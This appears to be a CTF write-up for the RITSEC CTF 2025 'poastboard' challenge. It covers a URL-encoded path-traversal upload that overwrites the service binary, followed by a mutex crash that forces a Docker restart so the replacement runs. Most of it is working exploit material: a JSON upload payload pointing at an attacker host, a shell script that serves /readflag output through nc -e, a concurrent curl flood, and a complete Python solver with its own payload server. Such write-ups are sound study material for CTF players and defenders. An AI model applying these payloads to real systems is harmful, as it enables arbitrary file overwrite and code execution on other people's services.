Skip to content

Path Traversal

Created

Updated

3 min read

Reading time

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

URL-decoded last-segment traversal to binary overwrite

Event NameRITSEC CTF 2025
GitHub URL-
Challenge Namepoastboard (hard)
Attachments
References

  • Root cause: the JSON API accepts a hidden image: "url:http://..." mode even though the UI disables URL upload. After fetching attacker-controlled bytes, the handler rebuilds the destination filename from the last URL path segment and then calls os.Rename("/tmp/image.png", "./uploads/<user>/<post>/<filename>") without constraining traversal out of ./uploads.
  • Final exploit chain: host a shell-script replacement for /app/poastboard, upload it with url:http://ATTACKER/%2e%2e%2f%2e%2e%2f%2e%2e%2fpoastboard., then flood /api/stats until the mutex bug panics the service. Docker restarts the container, executes the overwritten binary, the replacement script runs /readflag, and the flag is served back on port 8080.
  • Important pivot: raw ../ and plain /poastboard payloads collapse to image.png; traversal only survives when the encoded slashes and dots stay inside one final path segment.
  • Timing caveat: /api/stats needs a burst of concurrent requests to trigger fatal error: sync: unlock of unlocked mutex reliably enough for Docker restart.
  • Environment caveat: the bundled local Docker image returns RS{FAKE_FLAG_FOR_TESTING} from /readflag; the exploit path was still validated from a clean rebuild and restart, so only the local flag value is fake.
  • why it is vulnerable
    // Inference from RE of the stripped Go binary plus live validation.
    if strings.HasPrefix(post.Image, "url:") {
        attackerURL := strings.TrimPrefix(post.Image, "url:")
        body := mustRead(http.Get(attackerURL))
    
        // The upload code derives the final filename from the last URL path segment.
        // Raw ../ is normalized away early, but a single encoded segment like
        // "%2e%2e%2f%2e%2e%2f%2e%2e%2fpoastboard." is decoded late enough to become
        // "../../../poastboard" right before the rename.
        filename := decodeFinalSegment(attackerURL)
    
        os.WriteFile("/tmp/image.png", body, 0o755)
        postID := db.MakePost(...)
    
        // No guard prevents the rename target from escaping ./uploads.
        os.Rename("/tmp/image.png", fmt.Sprintf("./uploads/%s/%d/%s", user, postID, filename))
    }
    
    // Separately, /api/stats has a lock/unlock bug. A burst of concurrent requests
    // crashes the process with: fatal error: sync: unlock of unlocked mutex.
    // docker-compose.yml uses restart: always, so the overwritten /app/poastboard is
    // executed on the next container start.
    exploit payload
    POST /api/post HTTP/1.1
    Content-Type: application/json
    
    {"content":"overwrite-binary","image":"url:http://ATTACKER/%2e%2e%2f%2e%2e%2f%2e%2e%2fpoastboard.","is_private":false}
    #!/bin/sh
    /readflag > /tmp/flag.txt
    cat > /tmp/serveflag.sh <<'EOF'
    #!/bin/sh
    LEN=$(wc -c < /tmp/flag.txt | tr -d ' ')
    printf 'HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$LEN"
    cat /tmp/flag.txt
    EOF
    chmod +x /tmp/serveflag.sh
    exec nc -lk -p 8080 -e /tmp/serveflag.sh
    seq 1 400 | xargs -P 100 -I{} curl -s -o /dev/null -b cookies http://TARGET/api/stats
    solver
    #!/usr/bin/env python3
    import concurrent.futures
    import secrets
    import threading
    import time
    from http.server import BaseHTTPRequestHandler, HTTPServer
    
    import requests
    
    TARGET = "http://127.0.0.1:8080"
    CALLBACK = "http://172.0.32.1:18083"
    PAYLOAD_PATH = "/%2e%2e%2f%2e%2e%2f%2e%2e%2fpoastboard."
    PAYLOAD = b"""#!/bin/sh
    /readflag > /tmp/flag.txt
    cat > /tmp/serveflag.sh <<'EOF'
    #!/bin/sh
    LEN=$(wc -c < /tmp/flag.txt | tr -d ' ')
    printf 'HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$LEN"
    cat /tmp/flag.txt
    EOF
    chmod +x /tmp/serveflag.sh
    exec nc -lk -p 8080 -e /tmp/serveflag.sh
    """
    
    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.send_header("Content-Type", "image/png")
            self.send_header("Content-Length", str(len(PAYLOAD)))
            self.end_headers()
            self.wfile.write(PAYLOAD)
        def log_message(self, fmt, *args):
            return
    
    server = HTTPServer(("0.0.0.0", 18083), Handler)
    threading.Thread(target=server.serve_forever, daemon=True).start()
    
    s = requests.Session()
    user = f"solver{int(time.time())}"
    password = secrets.token_hex(8)
    s.post(f"{TARGET}/api/register", json={"username": user, "password": password}, timeout=5)
    s.post(f"{TARGET}/api/login", json={"username": user, "password": password}, timeout=5)
    
    r = s.post(
        f"{TARGET}/api/post",
        json={
            "content": "overwrite-binary",
            "image": f"url:{CALLBACK}{PAYLOAD_PATH}",
            "is_private": False,
        },
        timeout=5,
    )
    assert "../../../poastboard" in r.text, r.text
    
    cookies = s.cookies.get_dict()
    def hit_stats(_):
        try:
            requests.get(f"{TARGET}/api/stats", cookies=cookies, timeout=5)
        except requests.RequestException:
            pass
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=100) as pool:
        list(pool.map(hit_stats, range(400)))
    
    for _ in range(30):
        try:
            resp = requests.get(f"{TARGET}/", timeout=1)
            if resp.ok and resp.text.strip() and "<html" not in resp.text.lower():
                print(resp.text.strip())
                break
        except requests.RequestException:
            pass
        time.sleep(1)
    else:
        raise SystemExit("flag not reached")

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.